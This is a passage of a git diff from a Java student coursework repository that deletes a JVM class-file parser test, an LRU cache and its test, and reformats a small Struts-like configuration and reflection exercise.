-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-import com.github.HarryHook.coding2017.jvm.field.Field;
-import com.github.HarryHook.coding2017.jvm.loader.ClassFileLoader;
-import com.github.HarryHook.coding2017.jvm.method.Method;
-
-
-public class ClassFileloaderTest {
-
-    private static final String FULL_QUALIFIED_CLASS_NAME = "com/github/HarryHook/coding2017/jvm/test/EmployeeV1";
-    static String path1 = "F:\\Coding2017\\group02\\727171008\\bin";
-    // F:\Coding2017\group02\727171008\bin\com\github\HarryHook\coding2017\jvm\test
-    static String path2 = "F:\\temp";
-    
-    static ClassFile clzFile = null;
-    static {
-	ClassFileLoader loader = new ClassFileLoader();
-	loader.addClassPath(path1);
-	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
-	clzFile = loader.loadClass(className);
-	clzFile.print();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testClassPath() {
-
-	ClassFileLoader loader = new ClassFileLoader();
-
-	loader.addClassPath(path1);
-	loader.addClassPath(path2);
-
-	String clzPath = loader.getClassPath();
-
-	Assert.assertEquals(path1 + ";" + path2, clzPath);
-
-    }
-
-    @Test
-    public void testClassFileLength() {
-
-	ClassFileLoader loader = new ClassFileLoader();
-	loader.addClassPath(path1);
-
-	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
-
-	byte[] byteCodes = loader.readBinaryCode(className);
-	// jdk_1.8.0_111
-	Assert.assertEquals(1090, byteCodes.length);
-
-    }
-
-    @Test
-    public void testMagicNumber() {
-
-	ClassFileLoader loader = new ClassFileLoader();
-	loader.addClassPath(path1);
-	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
-	byte[] byteCodes = loader.readBinaryCode(className);
-	byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
-
-	String acctualValue = this.byteToHexString(codes);
-
-	Assert.assertEquals("cafebabe", acctualValue);
-    }
-
-    private String byteToHexString(byte[] codes) {
-
-	StringBuffer buffer = new StringBuffer();
-	for (int i = 0; i < codes.length; i++) {
-	    byte b = codes[i];
-	    int value = b & 0xFF;
-	    String strHex = Integer.toHexString(value);
-	    if (strHex.length() < 2) {
-		strHex = "0" + strHex;
-	    }
-	    buffer.append(strHex);
-	}
-	return buffer.toString();
-    }
-
-    @Test
-    public void testVersion() {
-
-	Assert.assertEquals(0, clzFile.getMinorVersion());
-	Assert.assertEquals(52, clzFile.getMajorVersion());
-
-    }
-
-    @Test
-    public void testConstantPool() {
-
-	ConstantPool pool = clzFile.getConstantPool();
-
-	Assert.assertEquals(53, pool.getSize());
-
-	{
-	    ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-	    Assert.assertEquals(2, clzInfo.getUtf8Index());
-
-	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-	    Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-	}
-	{
-	    ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-	    Assert.assertEquals(4, clzInfo.getUtf8Index());
-
-	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-	    Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-	}
-	{
-	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-	    Assert.assertEquals("name", utf8Info.getValue());
-
-	    utf8Info = (UTF8Info) pool.getConstantInfo(6);
-	    Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-
-	    utf8Info = (UTF8Info) pool.getConstantInfo(7);
-	    Assert.assertEquals("age", utf8Info.getValue());
-
-	    utf8Info = (UTF8Info) pool.getConstantInfo(8);
-	    Assert.assertEquals("I", utf8Info.getValue());
-
-	    utf8Info = (UTF8Info) pool.getConstantInfo(9);
-	    Assert.assertEquals("<init>", utf8Info.getValue());
-
-	    utf8Info = (UTF8Info) pool.getConstantInfo(10);
-	    Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-
-	    utf8Info = (UTF8Info) pool.getConstantInfo(11);
-	    Assert.assertEquals("Code", utf8Info.getValue());
-	}
-
-	{
-	    MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
-	    Assert.assertEquals(3, methodRef.getClassInfoIndex());
-	    Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-	}
-
-	{
-	    NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-	    Assert.assertEquals(9, nameAndType.getIndex1());
-	    Assert.assertEquals(14, nameAndType.getIndex2());
-	}
-	// 抽查几个吧
-	{
-	    MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
-	    Assert.assertEquals(1, methodRef.getClassInfoIndex());
-	    Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-	}
-
-	{
-	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-	    Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-	}
-    }
-
-    @Test
-    public void testClassIndex() {
-
-	ClassIndex clzIndex = clzFile.getClzIndex();
-	ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-	ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-
-	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-   
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-   
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    /*
-     * 第四次测试
-    */
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/EmployeeV1.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/EmployeeV1.java
deleted file mode 100644
index 8926e19e1e..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.test;
-
-public class EmployeeV1 {
-
-    private String name;
-    private int age;
-
-    public EmployeeV1(String name, int age) {
-	this.name = name;
-	this.age = age;
-    }
-
-    public void setName(String name) {
-	this.name = name;
-    }
-
-    public void setAge(int age) {
-	this.age = age;
-    }
-
-    public void sayHello() {
-	System.out.println("Hello , this is class Employee ");
-    }
-
-    public static void main(String[] args) {
-	EmployeeV1 p = new EmployeeV1("Andy", 29);
-	p.sayHello();
-
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/util/Util.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/util/Util.java
deleted file mode 100644
index 0a05d3f49c..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/util/Util.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.util;
-
-public class Util {
-    public static int byteToInt(byte[] codes) {
-	String s1 = byteToHexString(codes);
-	return Integer.valueOf(s1, 16).intValue();
-    }
-
-    public static String byteToHexString(byte[] codes) {
-	StringBuffer buffer = new StringBuffer();
-	for (int i = 0; i < codes.length; i++) {
-	    byte b = codes[i];
-	    int value = b & 0xFF;
-	    String strHex = Integer.toHexString(value);
-	    if (strHex.length() < 2) {
-		strHex = "0" + strHex;
-	    }
-	    buffer.append(strHex);
-	}
-	return buffer.toString();
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrame.java b/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrame.java
deleted file mode 100644
index b2cf16ceaa..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package com.github.HarryHook.coding2017.linklist;
-
-/**
- * 用双向链表实现LRU算法
- * 
- * @author HarryHook
- *
- */
-public class LRUPageFrame {
-
-    private static class Node {
-
-	Node prev;
-	Node next;
-	int pageNum;
-
-	Node() {
-
-	}
-    }
-
-    private int capacity;
-    private int currentSize = 0;
-
-    private Node first;// 链表头
-    private Node last;// 链表尾
-
-    public LRUPageFrame(int capacity) {
-
-	this.capacity = capacity;
-
-    }
-
-    /**
-     * 获取缓存中对象
-     * 
-     * @param pageNum
-     * @return
-     */
-
-    public void access(int pageNum) {
-
-	if (currentSize == 0) {
-	    Node node = new Node();
-	    node.pageNum = pageNum;
-	    node.prev = node.next = null;
-	    first = last = node;
-	    currentSize++;
-	} else {
-
-	    if (first.pageNum == pageNum) {
-		return;
-	    }
-
-	    if (currentSize == 1) {
-		addToFirst(pageNum);
-	    } else {
-
-		if (last.pageNum == pageNum) {
-		    moveLastToFirst();
-		    return;
-		}
-		Node iteratorNode = first;
-		while (iteratorNode.next != null && iteratorNode.pageNum != pageNum) {
-		    iteratorNode = iteratorNode.next;
-		}
-		if (iteratorNode == last) {
-		    addToFirst(pageNum);
-		    // 若缓存已满，移除最后一个节点
-		    if (currentSize > capacity) {
-			last = last.prev;
-			last.next = null;
-		    }
-		} else {
-		    moveToFirst(iteratorNode);
-		}
-	    }
-	}
-    }
-
-    // 将节点/缓存页添加到fitrst
-    public void addToFirst(int pageNum) {
-	Node node = new Node();
-	node.pageNum = pageNum;
-	node.prev = null;
-	node.next = first;
-	first.prev = node;
-	first = node;
-	currentSize++;
-    }
-
-    // 将last节点移动到first
-    public void moveLastToFirst() {
-	last.next = first;
-	first.prev = last;
-	first = last;
-	last = last.prev;
-	last.next = null;
-	first.prev = null;
-    }
-
-    // 将最近使用的已有缓存页移动到first
-    public void moveToFirst(Node iteratorNode) {
-	iteratorNode.prev.next = iteratorNode.next;
-	iteratorNode.next.prev = iteratorNode.prev;
-	iteratorNode.prev = null;
-	iteratorNode.next = first;
-	first.prev = iteratorNode;
-	first = iteratorNode;
-    }
-
-    public String toString() {
-	StringBuilder buffer = new StringBuilder();
-	Node node = first;
-	while (node != null) {
-	    buffer.append(node.pageNum);
-	    node = node.next;
-	    if (node != null) {
-		buffer.append(",");
-	    }
-	}
-	return buffer.toString();
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrameTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrameTest.java
deleted file mode 100644
index f25cb5d5e9..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.github.HarryHook.coding2017.linklist;
-
-import org.junit.Assert;
-
-import org.junit.Test;
-
-public class LRUPageFrameTest {
-
-    @Test
-    public void testAccess() {
-	LRUPageFrame frame = new LRUPageFrame(3);
-	frame.access(7);
-	Assert.assertEquals("7", frame.toString());
-	frame.access(0);
-	Assert.assertEquals("0,7", frame.toString());
-	frame.access(7);
-	Assert.assertEquals("7,0", frame.toString());
-	frame.access(1);
-	Assert.assertEquals("1,7,0", frame.toString());
-	frame.access(2);
-	Assert.assertEquals("2,1,7", frame.toString());
-	frame.access(0);
-	Assert.assertEquals("0,2,1", frame.toString());
-	frame.access(0);
-	Assert.assertEquals("0,2,1", frame.toString());
-	frame.access(3);
-	Assert.assertEquals("3,0,2", frame.toString());
-	frame.access(0);
-	Assert.assertEquals("0,3,2", frame.toString());
-	frame.access(4);
-	Assert.assertEquals("4,0,3", frame.toString());
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java
index f2db5581f5..c44457c58f 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java
@@ -10,93 +10,88 @@
 import org.jdom2.JDOMException;
 import org.jdom2.input.SAXBuilder;
 
-public class Configuration {
-    Map<String, ActionConfig> actions = new HashMap<>();
-
-    public Configuration(String fileName) {
-	String packageName = this.getClass().getPackage().getName();
-
-	packageName = packageName.replace('.', '/');
-
-	InputStream is = this.getClass().getResourceAsStream("/" + packageName + "/" + fileName);
-
-	parseXML(is);
-
-	try {
-	    is.close();
-	} catch (IOException e) {
-	    throw new ConfigurationException(e);
-	}
-    }
-
-    private void parseXML(InputStream is) {
-	SAXBuilder builder = new SAXBuilder();
 
-	try {
-	    Document doc = builder.build(is);
-
-	    Element root = doc.getRootElement();
-
-	    for (Element actionElement : root.getChildren("action")) {
-		String actionName = actionElement.getAttributeValue("name");
-		String clzName = actionElement.getAttributeValue("class");
-
-		ActionConfig ac = new ActionConfig(actionName, clzName);
-
-		for (Element resultElement : actionElement.getChildren("result")) {
-		    String resultName = resultElement.getAttributeValue("name");
-		    String viewName = resultElement.getText().trim();
-
-		    ac.addViewResult(resultName, viewName);
+public class Configuration {
+	Map<String, ActionConfig> actions = new HashMap<>();
+	
+	public Configuration(String fileName) {
+		String packageName = this.getClass().getPackage().getName();
+		
+		packageName = packageName.replace('.', '/');
+		
+		InputStream is = this.getClass().getResourceAsStream("/" + packageName + "/" + fileName);
+		
+		parseXML(is);
+		
+		try {
+			is.close();
+		}catch(IOException e) {
+			throw new ConfigurationException(e); 
 		}
-		this.actions.put(actionName, ac);
-	    }
-	} catch (JDOMException e) {
-	    throw new ConfigurationException(e);
-
-	} catch (IOException e) {
-	    throw new ConfigurationException(e);
-
 	}
-    }
-
-    public String getClassName(String action) {
-	ActionConfig ac = this.actions.get(action);
-	if (ac == null) {
-	    return null;
-	}
-	return ac.getClassName();
-    }
-
-    public String getResultView(String action, String resultName) {
-	ActionConfig ac = this.actions.get(action);
-	if (ac == null) {
-	    return null;
-	}
-	return ac.getViewName(resultName);
-    }
-
-    private static class ActionConfig {
-	String name;
-	String clzName;
-	Map<String, String> viewResult = new HashMap<>();
-
-	public ActionConfig(String actionName, String clzName) {
-	    this.clzName = clzName;
-	    this.name = actionName;
+	private void parseXML(InputStream is) {
+		SAXBuilder builder = new SAXBuilder();
+		
+		try {
+			Document doc = builder.build(is);
+			
+			Element root = doc.getRootElement();
+			
+			for(Element actionElement : root.getChildren("action")) {
+				String actionName = actionElement.getAttributeValue("name");
+				String clzName = actionElement.getAttributeValue("class");
+				
+				ActionConfig ac = new ActionConfig(actionName, clzName);
+				
+				for(Element resultElement : actionElement.getChildren("result")) {
+					String resultName = resultElement.getAttributeValue("name");
+					String viewName = resultElement.getText().trim();
+					
+					ac.addViewResult(resultName, viewName);
+				}
+				this.actions.put(actionName, ac);
+			}
+		}catch(JDOMException e) {
+			throw new ConfigurationException(e);
+			
+		}catch(IOException e) {
+			throw new ConfigurationException(e);
+			
+		}
 	}
 
-	public String getClassName() {
-	    return clzName;
+	public String getClassName(String action) {
+		ActionConfig ac = this.actions.get(action);
+		if(ac == null) {
+			return null;
+		}
+		return ac.getClassName(); 
 	}
-
-	public void addViewResult(String name, String viewName) {
-	    viewResult.put(name, viewName);
+	public String getResultView(String action, String resultName) {
+		ActionConfig ac = this.actions.get(action);
+		if(ac == null) {
+			return null;
+		}
+		return ac.getViewName(resultName);
 	}
-
-	public String getViewName(String resultName) {
-	    return viewResult.get(resultName);
+	private static class ActionConfig {
+		String name;
+		String clzName;
+		Map<String, String> viewResult = new HashMap<>();
+		
+		public ActionConfig(String actionName, String clzName) {
+			this.clzName = clzName;
+			this.name = actionName;
+		}
+		public String getClassName() {
+			return clzName;
+		}
+		public void addViewResult(String name, String viewName) {
+			viewResult.put(name,  viewName);
+		}
+		public String getViewName(String resultName) {
+			return viewResult.get(resultName);
+		}
+		
 	}
-
-    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java
index 83ab2dbe85..df763a0ab4 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java
@@ -1,19 +1,18 @@
 package com.github.HarryHook.coding2017.litestruts;
 
+
 import java.io.IOException;
 
 import org.jdom2.JDOMException;
 
 public class ConfigurationException extends RuntimeException {
-    public ConfigurationException(String msg) {
-	super(msg);
-    }
-
-    public ConfigurationException(JDOMException e) {
-	super(e);
-    }
-
-    public ConfigurationException(IOException e) {
-	super(e);
-    }
+	public ConfigurationException(String msg) {
+		super(msg);
+	}
+	public ConfigurationException(JDOMException e) {
+		super(e);
+	}
+	public ConfigurationException(IOException e) {
+		super(e);
+	}
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java
index 114104c87e..9e25a7974e 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java
@@ -6,39 +6,38 @@
 import org.junit.Test;
 
 public class ConfigurationTest {
-
-    Configuration cfg = new Configuration("struts.xml");
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testGetClassName() {
-	String clzName = cfg.getClassName("login");
-	Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LoginAction", clzName);
-
-	clzName = cfg.getClassName("logout");
-	Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LogoutAction", clzName);
-    }
-
-    @Test
-    public void testGetResultView() {
-	String jsp = cfg.getResultView("login", "success");
-	Assert.assertEquals("/jsp/homepage.jsp", jsp);
-
-	jsp = cfg.getResultView("login", "fail");
-	Assert.assertEquals("/jsp/showLogin.jsp", jsp);
-
-	jsp = cfg.getResultView("logout", "success");
-	Assert.assertEquals("/jsp/welcome.jsp", jsp);
-
-	jsp = cfg.getResultView("logout", "error");
-	Assert.assertEquals("/jsp/error.jsp", jsp);
-    }
+    
+	Configuration cfg = new Configuration("struts.xml");
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testGetClassName() {
+		String clzName = cfg.getClassName("login");
+		Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LoginAction", clzName);
+
+		clzName = cfg.getClassName("logout");
+		Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LogoutAction", clzName);
+	}
+	
+	@Test
+	public void testGetResultView() {
+		String jsp = cfg.getResultView("login", "success");
+		Assert.assertEquals("/jsp/homepage.jsp", jsp);
+		
+		jsp = cfg.getResultView("login", "fail");
+		Assert.assertEquals("/jsp/showLogin.jsp", jsp);
+		 
+		jsp = cfg.getResultView("logout", "success");
+		Assert.assertEquals("/jsp/welcome.jsp", jsp);
+		
+		jsp = cfg.getResultView("logout", "error");
+		Assert.assertEquals("/jsp/error.jsp", jsp);
+	}
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java
index 120d72f1e0..d42f7b0cd6 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java
@@ -2,42 +2,41 @@
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * 
  * @author liuxin
  *
  */
 public class LoginAction {
-
-    private String name;
+   
+	private String name ;
     private String password;
     private String message;
 
-    public String getName() {
-	return name;
+    public String getName()  {
+        return name;
     }
 
     public String getPassword() {
-	return password;
+        return password;
     }
 
     public String execute() {
-	if ("test".equals(name) && "1234".equals(password)) {
-	    this.message = "login successful";
-	    return "success";
-	}
-	this.message = "login failed,please check your user/pwd";
-	return "fail";
+        if("test".equals(name) && "1234".equals(password)) {
+            this.message = "login successful";
+            return "success";
+        }
+        this.message = "login failed,please check your user/pwd";
+        return "fail";
     }
-
+    
     public void setName(String name) {
-	this.name = name;
+        this.name = name;
     }
-
+   
     public void setPassword(String password) {
-	this.password = password;
+        this.password = password;
     }
-
+    
     public String getMessage() {
-	return this.message;
+        return this.message;
     }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java
index 850f644a2b..1efcb21574 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java
@@ -7,74 +7,76 @@
 import java.util.List;
 import java.util.Map;
 
-public class ReflectionUtil {
 
-    public static List<Method> getSetterMethods(Class<?> clz) {
+public class ReflectionUtil
+{
 
-	return getMethods(clz, "set");
-    }
-
-    public static void setParameters(Object o, Map<String, String> params) {
-
-	List<Method> methods = getSetterMethods(o.getClass());
-
-	for (String name : params.keySet()) {
-
-	    String methodName = "set" + name;
-
-	    for (Method m : methods) {
-
-		if (m.getName().equalsIgnoreCase(methodName)) {
-		    try {
-			m.invoke(o, params.get(name));
+	public static List<Method> getSetterMethods(Class<?> clz) {
+		
+		return getMethods(clz, "set");
+	}
 
-		    } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-			e.printStackTrace();
+	public static void setParameters(Object o, Map<String, String> params) {
+		
+	    List<Method> methods = getSetterMethods(o.getClass());
+		
+	    for(String name : params.keySet()) {
+		    
+		String methodName = "set" + name;
+			
+		for(Method m : methods) {
+				
+		    if(m.getName().equalsIgnoreCase(methodName)) {
+			try {
+				m.invoke(o, params.get(name));
+						
+			}catch(IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+				e.printStackTrace();
+			}
 		    }
 		}
 	    }
+		
 	}
 
-    }
-
-    public static List<Method> getGetterMethods(Class<?> clz) {
-
-	return getMethods(clz, "get");
-    }
-
-    public static List<Method> getMethods(Class<?> clz, String startWithName) {
+	public static List<Method> getGetterMethods(Class<?> clz) {
+		
+	    return getMethods(clz, "get");
+	}
 
-	List<Method> methods = new ArrayList<>();
-	for (Method m : clz.getDeclaredMethods()) {
+	public static List<Method> getMethods(Class<?> clz, String startWithName) {
+		
+	    List<Method> methods = new ArrayList<>();
+	    for(Method m : clz.getDeclaredMethods()) {
 
-	    if (m.getName().startsWith(startWithName)) {
-		methods.add(m);
+		if(m.getName().startsWith(startWithName)) {
+		    methods.add(m);
+		}
 	    }
+	
+	    return methods;
 	}
 
-	return methods;
-    }
-
-    public static Map<String, Object> getParameterMap(Object o) {
-
-	Map<String, Object> params = new HashMap<>();
-
-	List<Method> methods = getGetterMethods(o.getClass());
-
-	for (Method m : methods) {
-
-	    String methodName = m.getName();
-	    String name = methodName.replaceFirst("get", "").toLowerCase();
-
-	    try {
-		Object value = m.invoke(o);
-		params.put(name, value);
-
-	    } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-		e.printStackTrace();
+	public static Map<String, Object> getParameterMap(Object o) {
+		
+	    Map<String, Object> params = new HashMap<>();
+		
+	    List<Method> methods = getGetterMethods(o.getClass());
+		
+	    for(Method m : methods) {
+			
+		String methodName = m.getName();
+		String name = methodName.replaceFirst("get", "").toLowerCase();
+			
+		try {
+		    Object value = m.invoke(o);
+		    params.put(name, value);
+				
+		}catch(IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+		    e.printStackTrace();
+		}
 	    }
+		
+	    return params;
 	}
-
-	return params;
-    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java
index 043b2d3050..ff4c30f05d 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java
@@ -14,99 +14,100 @@
 import org.junit.Before;
 import org.junit.Test;
 
-public class ReflectionUtilTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testGetSetterMethod() throws Exception {
 
-	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	Class<?> clz = Class.forName(name);
-	List<Method> methods = ReflectionUtil.getSetterMethods(clz);
-
-	Assert.assertEquals(2, methods.size());
-
-	List<String> expectedNames = new ArrayList<>();
-	expectedNames.add("setName");
-	expectedNames.add("setPassword");
-
-	Set<String> acctualNames = new HashSet<>();
-	for (Method m : methods) {
+public class ReflectionUtilTest {
 
-	    acctualNames.add(m.getName());
+	@Before
+	public void setUp() throws Exception {
 	}
 
-	Assert.assertTrue(acctualNames.containsAll(expectedNames));
-    }
-
-    @Test
